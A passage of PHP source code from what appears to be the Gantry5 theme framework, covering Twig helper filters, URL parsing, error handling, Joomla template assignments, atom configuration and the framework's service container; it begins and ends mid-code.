public function stringFilter($input)
{
return (string) $input;
}
/**
* Casts input to int.
*
* @param mixed $input
* @return int
*/
public function intFilter($input)
{
return (int) $input;
}
/**
* Casts input to bool.
*
* @param mixed $input
* @return bool
*/
public function boolFilter($input)
{
return (bool) $input;
}
/**
* Casts input to float.
*
* @param mixed $input
* @return float
*/
public function floatFilter($input)
{
return (float) $input;
}
/**
* Casts input to array.
*
* @param mixed $input
* @return array
*/
public function arrayFilter($input)
{
return (array) $input;
}
/**
* Takes array of attribute keys and values and converts it to properly
escaped HTML attributes.
*
* @example ['data-id' => 'id',
'data-key' => 'key'] => '
data-id="id" data-key="key"'
* @example [['data-id' => 'id'],
['data-key' => 'key']] => '
data-id="id" data-key="key"'
*
* @param string|string[] $input
* @return string
*/
public function attributeArrayFilter($input)
{
if (\is_string($input)) {
return $input;
}
$array = [];
foreach ((array) $input as $key => $value) {
if (\is_array($value)) {
foreach ((array) $value as $key2 => $value2) {
$array[] = HtmlDocument::escape($key2) .
'="' . HtmlDocument::escape($value2, 'html_attr')
. '"';
}
} elseif ($key) {
$array[] = HtmlDocument::escape($key) . '="'
. HtmlDocument::escape($value, 'html_attr') . '"';
}
}
return $array ? ' ' . implode(' ', $array) :
'';
}
public function is_selectedFunc($a, $b)
{
$b = (array) $b;
array_walk(
$b,
function (&$item) {
if (\is_bool($item)) {
$item = (int) $item;
}
$item = (string) $item;
}
);
return \in_array((string) $a, $b, true);
}
/**
* Truncate text by number of characters but can cut off words. Removes
html tags.
*
* @param string $string
* @param int $limit Max number of characters.
*
* @return string
*/
public function truncateText($string, $limit = 150)
{
$platform = Gantry::instance()['platform'];
return $platform->truncate($string, (int) $limit, false);
}
/**
* Truncate text by number of characters but can cut off words.
*
* @param string $string
* @param int $limit Max number of characters.
*
* @return string
*/
public function truncateHtml($string, $limit = 150)
{
$platform = Gantry::instance()['platform'];
return $platform->truncate($string, (int) $limit, true);
}
/**
* @param string $string
* @param bool $block Block or Line processing
* @param array $settings
* @return mixed|string
*/
public function markdownFunction($string, $block = true, array
$settings = null)
{
// Initialize the preferred variant of Parsedown
if (!empty($settings['extra'])) {
$parsedown = new ParsedownExtra($settings);
} else {
$parsedown = new Parsedown($settings);
}
if ($block) {
$string = $parsedown->text($string);
} else {
$string = $parsedown->line($string);
}
return $string;
}
/**
* Get value by using dot notation for nested arrays/objects.
*
* @example {{ nested(array,
'this.is.my.nested.variable')|json_encode }}
*
* @param array $items Array of items.
* @param string $name Dot separated path to the requested
value.
* @param mixed $default Default value (or null).
* @param string $separator Separator, defaults to '.'
* @return mixed Value.
*/
public function nestedFunc($items, $name, $default = null, $separator =
'.')
{
if ($items instanceof NestedArrayAccess) {
return $items->get($name, $default, $separator);
}
$path = explode($separator, $name);
$current = $items;
foreach ($path as $field) {
if (\is_object($current) &&
isset($current->{$field})) {
$current = $current->{$field};
} elseif (\is_array($current) &&
isset($current[$field])) {
$current = $current[$field];
} else {
return $default;
}
}
return $current;
}
/**
* Return URL to the resource.
*
* @example {{
url('theme://images/logo.png')|default('http://www.placehold.it/150x100/f4f4f4')
}}
*
* @param string $input Resource to be located.
* @param bool $domain True to include domain name.
* @param int $timestamp_age Append timestamp to files that are less
than x seconds old. Defaults to a week.
* Use value <= 0 to disable the
feature.
* @return string|null Returns url to the resource or null if
resource was not found.
*/
public function urlFunc($input, $domain = false, $timestamp_age = null)
{
$gantry = Gantry::instance();
return $gantry['document']->url(trim((string) $input),
$domain, $timestamp_age);
}
/**
* Filter stream URLs from HTML input.
*
* @param string $str HTML input to be filtered.
* @param bool $domain True to include domain name.
* @param int $timestamp_age Append timestamp to files that are less
than x seconds old. Defaults to a week.
* Use value <= 0 to disable the
feature.
* @return string Returns modified HTML.
*/
public function htmlFilter($str, $domain = false, $timestamp_age =
null)
{
$gantry = Gantry::instance();
return $gantry['document']->urlFilter($str, $domain,
$timestamp_age);
}
/**
* @param \libXMLError $error
* @param string $input
* @throws \RuntimeException
*/
protected function dealXmlError(\libXMLError $error, $input)
{
switch ($error->level) {
case LIBXML_ERR_WARNING:
$level = 1;
$message = "DOM Warning {$error->code}: ";
break;
case LIBXML_ERR_ERROR:
$level = 2;
$message = "DOM Error {$error->code}: ";
break;
case LIBXML_ERR_FATAL:
$level = 3;
$message = "Fatal DOM Error {$error->code}: ";
break;
default:
$level = 3;
$message = "Unknown DOM Error {$error->code}:
";
}
$message .= "{$error->message} while
parsing:\n{$input}\n";
if ($level <= 2 && !Gantry::instance()->debug()) {
return;
}
throw new \RuntimeException($message, 500);
}
/**
* Move supported document head elements into platform document object,
return all
* unsupported tags in a string.
*
* @param string $input
* @param string $location
* @param int $priority
* @return string
*/
public function parseAssetsFunc($input, $location = 'head',
$priority = 0)
{
if ($location === 'head') {
$scope = 'head';
$html = "<!doctype
html>\n<html><head>{$input}</head><body></body></html>";
} else {
$scope = 'body';
$html = "<!doctype
html>\n<html><head></head><body>{$input}</body></html>";
}
libxml_clear_errors();
$internal = libxml_use_internal_errors(true);
$doc = new \DOMDocument();
$doc->loadHTML($html);
foreach (libxml_get_errors() as $error) {
$this->dealXmlError($error, $html);
}
libxml_clear_errors();
libxml_use_internal_errors($internal);
$raw = [];
/** @var \DomElement $element */
foreach
($doc->getElementsByTagName($scope)->item(0)->childNodes as
$element) {
if (empty($element->tagName)) {
continue;
}
$result = ['tag' => $element->tagName,
'content' => $element->textContent];
foreach ($element->attributes as $attribute) {
$result[$attribute->name] = $attribute->value;
}
$success =
Gantry::instance()['document']->addHeaderTag($result,
$location, (int) $priority);
if (!$success) {
$raw[] = $doc->saveHTML($element);
}
}
return implode("\n", $raw);
}
public function colorContrastFunc($value)
{
$value = str_replace(' ', '', $value);
$rgb = new \stdClass;
$opacity = 1;
if (0 !== strpos($value, 'rgb')) {
$value = str_replace('#', '', $value);
if (\strlen($value) === 3) {
$h0 = str_repeat(substr($value, 0, 1), 2);
$h1 = str_repeat(substr($value, 1, 1), 2);
$h2 = str_repeat(substr($value, 2, 1), 2);
$value = $h0 . $h1 . $h2;
}
$rgb->r = hexdec(substr($value, 0, 2));
$rgb->g = hexdec(substr($value, 2, 2));
$rgb->b = hexdec(substr($value, 4, 2));
} else {
preg_match("/(\\d+),\\s*(\\d+),\\s*(\\d+)(?:,\\s*(1\\.|0?\\.?[0-9]?+))?/uim",
$value, $matches);
$rgb->r = $matches[1];
$rgb->g = $matches[2];
$rgb->b = $matches[3];
$opacity = isset($matches[4]) ? $matches[4] : 1;
$opacity = substr($opacity, 0, 1) === '.' ?
'0' . $opacity : $opacity;
}
$yiq = ((($rgb->r * 299) + ($rgb->g * 587) + ($rgb->b *
114)) / 1000) >= 128;
$contrast = $yiq || (!$opacity || (float) $opacity < 0.35);
return $contrast;
}
/**
* Displays a facebook style 'time ago' formatted date/time.
*
* @param string|int $date
* @param bool $long_strings
*
* @return string
*/
public function nicetimeFilter($date, $long_strings = true)
{
static $lengths = [60, 60, 24, 7, 4.35, 12, 10];
static $periods_long = [
'GANTRY5_ENGINE_NICETIME_SECOND',
'GANTRY5_ENGINE_NICETIME_MINUTE',
'GANTRY5_ENGINE_NICETIME_HOUR',
'GANTRY5_ENGINE_NICETIME_DAY',
'GANTRY5_ENGINE_NICETIME_WEEK',
'GANTRY5_ENGINE_NICETIME_MONTH',
'GANTRY5_ENGINE_NICETIME_YEAR',
'GANTRY5_ENGINE_NICETIME_DECADE'
];
static $periods_short = [
'GANTRY5_ENGINE_NICETIME_SEC',
'GANTRY5_ENGINE_NICETIME_MIN',
'GANTRY5_ENGINE_NICETIME_HR',
'GANTRY5_ENGINE_NICETIME_DAY',
'GANTRY5_ENGINE_NICETIME_WK',
'GANTRY5_ENGINE_NICETIME_MO',
'GANTRY5_ENGINE_NICETIME_YR',
'GANTRY5_ENGINE_NICETIME_DEC'
];
if (empty($date)) {
return
$this->transFilter('GANTRY5_ENGINE_NICETIME_NO_DATE_PROVIDED');
}
$periods = $long_strings ? $periods_long : $periods_short;
$now = time();
// check if unix timestamp
if ((string)(int)$date === (string)$date) {
$unix_date = (int)$date;
} else {
$unix_date = strtotime($date);
}
// check validity of date
if (!$unix_date) {
return
$this->transFilter('GANTRY5_ENGINE_NICETIME_BAD_DATE');
}
// is it future date or past date
if ($now > $unix_date) {
$difference = $now - $unix_date;
$tense =
$this->transFilter('GANTRY5_ENGINE_NICETIME_AGO');
} else if ($now === $unix_date) {
$difference = $now - $unix_date;
$tense =
$this->transFilter('GANTRY5_ENGINE_NICETIME_JUST_NOW');
} else {
$difference = $unix_date - $now;
$tense =
$this->transFilter('GANTRY5_ENGINE_NICETIME_FROM_NOW');
}
for ($j = 0; $difference >= $lengths[$j] && $j <
\count($lengths) - 1; $j++) {
$difference /= $lengths[$j];
}
$period = $periods[$j];
$difference = round($difference);
if ($difference !== 1) {
$period .= '_PLURAL';
}
$period = $this->transFilter($period);
if ($now === $unix_date) {
return $tense;
}
return "{$difference} {$period} {$tense}";
}
public function getCookie($name)
{
$gantry = Gantry::instance();
/** @var Request $request */
$request = $gantry['request'];
return $request->cookie[$name];
}
public function pregMatch($pattern, $subject, &$matches = [])
{
preg_match($pattern, $subject, $matches);
return $matches ?: false;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Url;
class Url
{
/**
* UTF8 aware parse_url().
*
* @param string $url
* @param bool $queryArray
* @return array|bool
*/
public static function parse($url, $queryArray = false)
{
$encodedUrl = preg_replace_callback(
'%[^:/@?&=#]+%usD',
function ($matches) { return rawurlencode($matches[0]); },
$url
);
// PHP versions below 5.4.7 have troubles with URLs without scheme,
so lets help by fixing that.
// TODO: This is not needed in PHP >= 5.4.7, but for now we need
to test if the function works.
if ('/' === $encodedUrl[0] && false !==
strpos($encodedUrl, '://')) {
$schemeless = true;
// Fix the path so that parse_url() will not return false.
$parts = parse_url('fake://fake.com' . $encodedUrl);
// Remove the fake values.
unset($parts['scheme'], $parts['host']);
} else {
$parts = parse_url($encodedUrl);
}
if (!$parts) {
return false;
}
// PHP versions below 5.4.7 do not understand schemeless URLs
starting with // either.
if (isset($schemeless) && !isset($parts['host'])
&& 0 === strpos($encodedUrl, '//')) {
// Path is stored in format: //[host]/[path], so let's fix
it.
list($parts['host'], $path) = explode('/',
substr($parts['path'], 2), 2);
$parts['path'] = "/{$path}";
}
foreach($parts as $name => $value) {
$parts[$name] = rawurldecode($value);
}
// Return query string also as an array if requested.
if ($queryArray) {
$parts['vars'] = isset($parts['query']) ?
static::parseQuery($parts['query']) : [];
}
return $parts;
}
/**
* Parse query string and return array.
*
* @param $query
* @return mixed
*/
public static function parseQuery($query)
{
parse_str($query, $vars);
return $vars;
}
/**
* Build parsed URL array.
*
* @param array $parsed_url
* @return string
*/
public static function build(array $parsed_url)
{
// Build query string from variables if they are set.
if (isset($parsed_url['vars'])) {
$parsed_url['query'] =
static::buildQuery($parsed_url['vars']);
}
// Build individual parts of the url.
$scheme = isset($parsed_url['scheme']) ?
$parsed_url['scheme'] . '://' : '';
$host = isset($parsed_url['host']) ?
$parsed_url['host'] : '';
$port = isset($parsed_url['port']) ? ':' .
$parsed_url['port'] : '';
$user = isset($parsed_url['user']) ?
$parsed_url['user'] : '';
$pass = isset($parsed_url['pass']) ? ':' .
$parsed_url['pass'] : '';
$pass = ($user || $pass) ? "{$pass}@" : '';
$path = isset($parsed_url['path']) ?
$parsed_url['path'] : '';
$query = isset($parsed_url['query']) ? '?' .
$parsed_url['query'] : '';
$fragment = isset($parsed_url['fragment']) ?
'#' . $parsed_url['fragment'] : '';
$scheme = $host && !$scheme ? '//' : $scheme;
return
"{$scheme}{$user}{$pass}{$host}{$port}{$path}{$query}{$fragment}";
}
/**
* Build query string from variables.
*
* @param array $vars
* @return null|string
*/
public static function buildQuery(array $vars)
{
$list = [];
foreach ($vars as $key => $var) {
$list[] = $key . '=' . rawurlencode($var);
}
return $list ? implode('&', $list) : null;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Whoops;
class SystemFacade extends \Whoops\Util\SystemFacade
{
protected $registeredPatterns;
protected $whoopsErrorHandler;
protected $whoopsExceptionHandler;
protected $whoopsShutdownHandler;
protected $platformExceptionHandler;
/**
* @param array|string $patterns List or a single regex pattern to
match for silencing errors in particular files.
*/
public function __construct($patterns = [])
{
$this->registeredPatterns = array_map(
function ($pattern) {
return["pattern" => $pattern];
},
(array) $patterns
);
}
/**
* @param callable $handler
* @param int|string $types
*
* @return callable|null
*/
public function setErrorHandler(callable $handler, $types =
'use-php-defaults')
{
// Workaround for PHP 5.5
if ($types === 'use-php-defaults') {
$types = E_ALL | E_STRICT;
}
$this->whoopsErrorHandler = $handler;
return parent::setErrorHandler([$this, 'handleError'],
$types);
}
/**
* @param callable $function
*
* @return void
*/
public function registerShutdownFunction(callable $function)
{
$this->whoopsShutdownHandler = $function;
register_shutdown_function([$this, 'handleShutdown']);
}
/**
* @param callable $handler
*
* @return callable|null
*/
public function setExceptionHandler(callable $handler)
{
$this->whoopsExceptionHandler = $handler;
$this->platformExceptionHandler =
parent::setExceptionHandler([$this, 'handleException']);
return $this->platformExceptionHandler;
}
/**
* Converts generic PHP errors to \ErrorException instances, before
passing them off to be handled.
*
* This method MUST be compatible with set_error_handler.
*
* @param int $level
* @param string $message
* @param string $file
* @param int $line
*
* @return bool
* @throws \ErrorException
*/
public function handleError($level, $message, $file = null, $line =
null)
{
$handler = $this->whoopsErrorHandler;
if (!$this->registeredPatterns) {
// Just forward to parent function is there aren't no
registered patterns.
return $handler($level, $message, $file, $line);
}
// If there are registered patterns, only handle errors if error
matches one of the patterns.
if ($level & error_reporting()) {
foreach ($this->registeredPatterns as $entry) {
$pathMatches = $file &&
preg_match($entry["pattern"], $file);
if ($pathMatches) {
return $handler($level, $message, $file, $line);
}
}
}
// Propagate error to the next handler, allows error_get_last() to
work on silenced errors.
return false;
}
/**
* Handles an exception, ultimately generating a Whoops error page.
*
* @param \Throwable $exception
* @return void
*/
public function handleException($exception)
{
$handler = $this->whoopsExceptionHandler;
// If there are registered patterns, only handle errors if error
matches one of the patterns.
if ($this->registeredPatterns) {
foreach ($this->registeredPatterns as $entry) {
$file = $exception->getFile();
$pathMatches = $file &&
preg_match($entry["pattern"], $file);
if ($pathMatches) {
$handler($exception);
return;
}
}
}
// Propagate error to the next handler.
if ($this->platformExceptionHandler) {
call_user_func_array($this->platformExceptionHandler,
[&$exception]);
}
}
/**
* Special case to deal with Fatal errors and the like.
*/
public function handleShutdown()
{
$handler = $this->whoopsShutdownHandler;
$error = $this->getLastError();
// Ignore core warnings and errors.
if ($error && !($error['type'] &
(E_CORE_WARNING | E_CORE_ERROR))) {
$handler();
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
use Gantry\Component\Assignments\AbstractAssignments;
use Gantry\Joomla\CacheHelper;
use Gantry\Joomla\StyleHelper;
use Joomla\Utilities\ArrayHelper;
class Assignments extends AbstractAssignments
{
protected $platform = 'Joomla';
/**
* Load all assignments.
*
* @return array
*/
public function loadAssignments()
{
$app = \JFactory::getApplication();
if (!$app->isSite()) {
return [];
}
// Get current template, style id and rules.
$template = $app->getTemplate();
$active = $app->getMenu()->getActive();
if ($active) {
$style = (int) $active->template_style_id;
$rules = [$active->menutype => [$active->id =>
true]];
} else {
$style = 0;
$rules = [];
}
// Load saved assignments.
$assignments = parent::loadAssignments();
// Add missing template styles from Joomla.
$styles = StyleHelper::loadStyles($template);
$assignments += array_fill_keys(array_keys($styles), []);
foreach ($assignments as $id => &$assignment) {
// Add current menu item if it has been assigned to the style.
$assignment['menu'] = $style === $id ? $rules : [];
// Always add the current template style.
$assignment['style'] = ['id' => [$id
=> true]];
}
return $assignments;
}
/**
* Save assignments for the configuration.
*
* @param array $data
*/
public function save(array $data)
{
$data += ['assignment' => 0, 'menu' =>
[]];
// Joomla stores language and menu assignments by its own.
$this->saveAssignment($data['assignment']);
$this->saveMenu($data['menu']);
unset($data['assignment'], $data['menu'],
$data['style']);
// Continue saving rest of the assignments.
parent::save($data);
}
public function types()
{
return ['menu', 'style'];
}
public function saveMenu($data)
{
$active = [];
foreach ($data as $menutype => $items) {
$active += array_filter($items, function($value) {return $value
> 0; });
}
$active = array_keys($active);
// Detect disabled template.
$extension = \JTable::getInstance('Extension');
$template = Gantry::instance()['theme.name'];
if ($extension->load(array('enabled' => 0,
'type' => 'template', 'element' =>
$template, 'client_id' => 0))) {
throw new
\RuntimeException(\JText::_('COM_TEMPLATES_ERROR_SAVE_DISABLED_TEMPLATE'));
}
\JTable::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_templates/tables');
$style = \JTable::getInstance('Style',
'TemplatesTable');
if (!$style->load($this->configuration) ||
$style->client_id != 0) {
throw new \RuntimeException('Template style does not
exist');
}
$user = \JFactory::getUser();
$n = 0;
if ($user->authorise('core.edit',
'com_menus')) {
$db = \JFactory::getDbo();
$user = \JFactory::getUser();
if (!empty($active)) {
ArrayHelper::toInteger($active);
// Update the mapping for menu items that this style IS
assigned to.
$query = $db->getQuery(true)
->update('#__menu')
->set('template_style_id = ' . (int)
$style->id)
->where('id IN (' . implode(',',
$active) . ')')
->where('template_style_id != ' . (int)
$style->id)
->where('checked_out IN (0,' . (int)
$user->id . ')');
$db->setQuery($query);
$db->execute();
$n += $db->getAffectedRows();
}
// Remove style mappings for menu items this style is NOT
assigned to.
// If unassigned then all existing maps will be removed.
$query = $db->getQuery(true)
->update('#__menu')
->set('template_style_id = 0');
if (!empty($active)) {
$query->where('id NOT IN (' .
implode(',', $active) . ')');
}
$query->where('template_style_id = ' . (int)
$style->id)
->where('checked_out IN (0,' . (int)
$user->id . ')');
$db->setQuery($query);
$db->execute();
$n += $db->getAffectedRows();
}
// Clean the cache.
CacheHelper::cleanTemplates();
return ($n > 0);
}
public function getAssignment()
{
$style = StyleHelper::getStyle($this->configuration);
return $style->home;
}
public function saveAssignment($value)
{
$options = $this->assignmentOptions();
if (!isset($options[$value])) {
throw new \RuntimeException('Invalid value for default
assignment!', 400);
}
$style = StyleHelper::getStyle($this->configuration);
$style->home = $value;
if (!$style->check() || !$style->store()) {
throw new \RuntimeException($style->getError());
}
// Clean the cache.
CacheHelper::cleanTemplates();
}
public function assignmentOptions()
{
if ((string)(int) $this->configuration !== (string)
$this->configuration) {
return [];
}
$languages = \JHtml::_('contentlanguage.existing');
$options = ['- Make Default -', 'All
Languages'];
foreach ($languages as $language) {
$options[$language->value] = $language->text;
}
return $options;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\Config;
use Gantry\Component\File\CompiledYamlFile;
use RocketTheme\Toolbox\ArrayTraits\ArrayAccess;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\ExportInterface;
use RocketTheme\Toolbox\ArrayTraits\Iterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Atoms implements \ArrayAccess, \Iterator, ExportInterface
{
use ArrayAccess, Iterator, Export;
/**
* @var string
*/
protected $name;
/**
* @var array
*/
protected $items;
/**
* @var array
*/
protected $ids;
/**
* @var array|static[]
*/
protected static $instances;
protected $inherit = false;
/**
* @param string $outline
* @return static
*/
public static function instance($outline)
{
if (!isset(static::$instances[$outline])) {
$file =
CompiledYamlFile::instance("gantry-theme://config/{$outline}/page/head.yaml");
$head = $file->content();
static::$instances[$outline] = new
static(isset($head['atoms']) ? $head['atoms'] : [],
$outline);
$file->free();
static::$instances[$outline]->init();
}
return static::$instances[$outline];
}
/**
* Atoms constructor.
* @param array $atoms
* @param string $name
*/
public function __construct(array $atoms = [], $name = null)
{
$this->name = $name;
$this->items = array_filter($atoms);
$this->inherit =
file_exists('gantry-admin://blueprints/layout/inheritance/atom.yaml');
foreach ($this->items as &$item) {
if (!empty($item['id'])) {
$this->ids[$item['id']] = $item;
}
}
}
public function init()
{
foreach ($this->items as &$item) {
if (!empty($item['inherit']['outline'])
&& !empty($item['inherit']['atom'])) {
$inherited =
static::instance($item['inherit']['outline']);
$test =
$inherited->id($item['inherit']['atom']);
if (isset($test['attributes'])) {
$item['attributes'] =
$test['attributes'];
} else {
unset($item['inherit']);
}
}
}
return $this;
}
/**
* @return $this
*/
public function update()
{
foreach ($this->items as &$item) {
if (empty($item['id'])) {
$item['id'] = $this->createId($item);
}
if (!empty($item['inherit']['outline'])
&& !empty($item['inherit']['atom'])) {
unset($item['attributes']);
} else {
unset($item['inherit']);
}
}
return $this;
}
/**
* @param string $outline
* @return $this
*/
public function inheritAll($outline)
{
foreach ($this->items as &$item) {
if (!empty($item['id'])) {
$item['inherit'] = [
'outline' => $outline,
'atom' => $item['id'],
'include' => ['attributes']
];
}
}
return $this;
}
/**
* @param string $old
* @param string $new
* @param array $ids
* @return $this
*/
public function updateInheritance($old, $new = null, $ids = null)
{
$this->init();
foreach ($this->items as &$item) {
if (!empty($item['inherit']['outline'])
&& $item['inherit']['outline'] == $old
&& isset($item['inherit']['atom'])) {
if ($new && ($ids === null ||
isset($ids[$item['inherit']['atom']]))) {
$item['inherit']['outline'] = $new;
} else {
unset($item['inherit']);
}
}
}
return $this;
}
public function save()
{
if ($this->name) {
/** @var UniformResourceLocator $locator */
$locator = Gantry::instance()['locator'];
$loadPath =
$locator->findResource("gantry-theme://config/{$this->name}/page/head.yaml");
$savePath =
$locator->findResource("gantry-theme://config/{$this->name}/page/head.yaml",
true, true);
if ($loadPath && $savePath) {
$file = CompiledYamlFile::instance($loadPath);
$head = $file->content();
$head['atoms'] =
$this->update()->toArray();
$file->free();
$file = CompiledYamlFile::instance($savePath);
$file->save($head);
$file->free();
}
}
}
/**
* @param string $id
* @return array
*/
public function id($id)
{
return isset($this->ids[$id]) ? $this->ids[$id] : [];
}
/**
* @param string $type
* @return array
*/
public function type($type)
{
$list = [];
foreach ($this->items as $item) {
if ($item['type'] === $type) {
$list[] = $item;
}
}
return $list;
}
/**
* @param string $type
* @param array $data
* @return Config
*/
public function createAtom($type, array $data = [])
{
$self = $this;
$callable = function () use ($self, $type) {
return $self->getBlueprint($type);
};
// Create configuration from the data.
$item = new Config($data, $callable);
$item->def('id', null);
$item->def('type', $type);
if (!isset($item['title'])) {
$item->def('title',
$item->blueprint()->get('name'));
}
$item->def('attributes', []);
$item->def('inherit', []);
return $item;
}
/**
* @param string $type
* @return BlueprintForm
*/
public function getBlueprint($type)
{
$blueprint = BlueprintForm::instance($type,
'gantry-blueprints://particles');
if ($this->inherit) {
$blueprint->set('form/fields/_inherit',
['type' => 'gantry.inherit']);
}
return $blueprint;
}
/**
* @param string $type
* @param string $id
* @param bool $force
* @return BlueprintForm|null
*/
public function getInheritanceBlueprint($type, $id = null, $force =
false)
{
if (!$this->inherit) {
return null;
}
$inheriting = $id ? $this->getInheritingOutlines($id) : [];
$list = $this->getOutlines($type, false);
if ($force || (empty($inheriting) && $list)) {
$inheritance =
BlueprintForm::instance('layout/inheritance/atom.yaml',
'gantry-admin://blueprints');
$inheritance->set('form/fields/outline/filter',
array_keys($list));
$inheritance->set('form/fields/atom/atom', $type);
} elseif (!empty($inheriting)) {
// Already inherited by other outlines.
$inheritance =
BlueprintForm::instance('layout/inheritance/messages/inherited.yaml',
'gantry-admin://blueprints');
$inheritance->set(
'form/fields/_note/content',
sprintf($inheritance->get('form/fields/_note/content'),
'atom', ' <ul><li>' .
implode('</li> <li>', $inheriting) .
'</li></ul>')
);
} elseif ($this->name === 'default') {
// Base outline.
$inheritance =
BlueprintForm::instance('layout/inheritance/messages/default.yaml',
'gantry-admin://blueprints');
} else {
// Nothing to inherit from.
$inheritance =
BlueprintForm::instance('layout/inheritance/messages/empty.yaml',
'gantry-admin://blueprints');
}
return $inheritance;
}
/**
* @param string $id
* @return array
*/
public function getInheritingOutlines($id = null)
{
/** @var Outlines $outlines */
$outlines = Gantry::instance()['outlines'];
return $outlines->getInheritingOutlinesWithAtom($this->name,
$id);
}
/**
* @param string $type
* @param bool $includeInherited
* @return array
*/
public function getOutlines($type, $includeInherited = true)
{
if ($this->name !== 'default') {
/** @var Outlines $outlines */
$outlines = Gantry::instance()['outlines'];
$list = $outlines->getOutlinesWithAtom($type,
$includeInherited);
unset($list[$this->name]);
} else {
$list = [];
}
return $list;
}
/**
* @param array $item
* @return string
*/
protected function createId(array &$item)
{
$type = $item['type'];
while ($num = rand(1000, 9999)) {
if (!isset($this->ids["{$type}-{$num}"])) {
break;
}
}
$id = "{$type}-{$num}";
$this->ids[$id] = $item;
return $id;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework\Base;
use Gantry\Component\Config\Config;
use Gantry\Component\System\Messages;
use Gantry\Framework\Document;
use Gantry\Framework\Menu;
use Gantry\Framework\Outlines;
use Gantry\Framework\Page;
use Gantry\Framework\Platform;
use Gantry\Framework\Positions;
use Gantry\Framework\Request;
use Gantry\Framework\Services\ConfigServiceProvider;
use Gantry\Framework\Services\StreamsServiceProvider;
use Gantry\Framework\Site;
use Gantry\Framework\Translator;
use RocketTheme\Toolbox\DI\Container;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\Event\EventDispatcher;
abstract class Gantry extends Container
{
/**
* @var static
*/
protected static $instance;
protected $wrapper;
public static function instance()
{
if (!self::$instance) {
self::$instance = static::init();
if (!defined('GANTRY5_DEBUG')) {
define('GANTRY5_DEBUG',
self::$instance->debug());
}
}
return self::$instance;
}
public static function restart()
{
self::$instance = null;
return static::instance();
}
/**
* Returns true if debug mode has been enabled.
*
* @return boolean
*/
public function debug()
{
return $this['global']->get('debug', false);
}
/**
* Returns true if we are in administration.
*
* @return boolean
*/
public function admin()
{
return defined('GANTRYADMIN_PATH');
}
/**
* @return string
*/
public function siteUrl()
{
$gantry = Gantry::instance();
return $gantry['document']->siteUrl();
}
/**
* @param string $location
* @return array
*/
public function styles($location = 'head')
{
return $this['document']->getStyles($location);
}
/**
* @param string $location
* @return array
*/
public function scripts($location = 'head')
{
return $this['document']->getScripts($location);
}
/**
* Load Javascript framework / extension in platform independent way.
*
* @param string $framework
* @return bool
*/
public function load($framework)
{
return $this['document']->addFramework($framework);
}
/**
* Lock the variable against modification and return the value.
*
* @param string $id
* @return mixed
*/
public function lock($id)
{
$value = $this[$id];
try {
// Create a dummy service.
$this[$id] = function () use ($value) {
return $value;
};
} catch (\RuntimeException $e) {
// Services are already locked, so ignore the error.
}
// Lock the service and return value.
return $this[$id];
}
/**
* Fires an event with optional parameters.
*
* @param string $eventName
* @param Event $event
* @return Event
*/
public function fireEvent($eventName, Event $event = null)
{
/** @var EventDispatcher $events */
$events = $this['events'];
return $events->dispatch($eventName, $event);
}
public function route($path)
{
$routes = $this->offsetGet('routes');
$route = isset($routes[$path]) ? $routes[$path] : $routes[1];
if (!$route) {
// TODO: need to implement back to root in Prime..
return $this->offsetGet('base_url');
}
$path = implode('/', array_filter(func_get_args(),
function($var) { return isset($var) && $var !== ''; }));
// rawurlencode() the whole path, but keep the slashes.
$path = preg_replace(['|%2F|', '|%25|'],
['/', '%'], rawurlencode($path));
return preg_replace('|/+|', '/', '/'
. $this->offsetGet('base_url') . sprintf($route, $path));
}
public function authorize($action, $id = null)
{
return $this['platform']->authorize($action, $id);
}
public function wrapper($value = null)
{
if ($value !== null ) {
$this->wrapper = $value;
}
return $this->wrapper;
}
protected static function init()
{
/** @var Gantry $instance */
$instance = new static();
if (GANTRY_DEBUGGER) {
$instance['debugger'] = \Gantry\Debugger::instance();
}
$instance['loader'] = \Gantry5\Loader::get();
$instance->register(new ConfigServiceProvider);
$instance->register(new StreamsServiceProvider);
$instance['request'] = function () {
return new Request;
};
$instance['events'] = function () {
return new EventDispatcher;
};
$instance['platform'] = function ($c) {
return new Platform($c);
};
$instance['translator'] = function () {
return new Translator;
};
$instance['site'] = function () {
return new Site;
};
$instance['menu'] = function () {
return new Menu;
};
$instance['messages'] = function () {
return new Messages;
};
$instance['page'] = function ($c) {
return new Page($c);
};
$instance['document'] = function () {
return new Document;
};
// Make sure that nobody modifies the original collection by making
it a factory.
$instance['outlines'] = $instance->factory(function
($c) {
static $collection;
if (!$collection) {
$collection = (new Outlines($c))->load();
}
return $collection->copy();
});
// @deprecated 5.3
$instance['configurations'] =
$instance->factory(function ($c) {
GANTRY_DEBUGGER &&
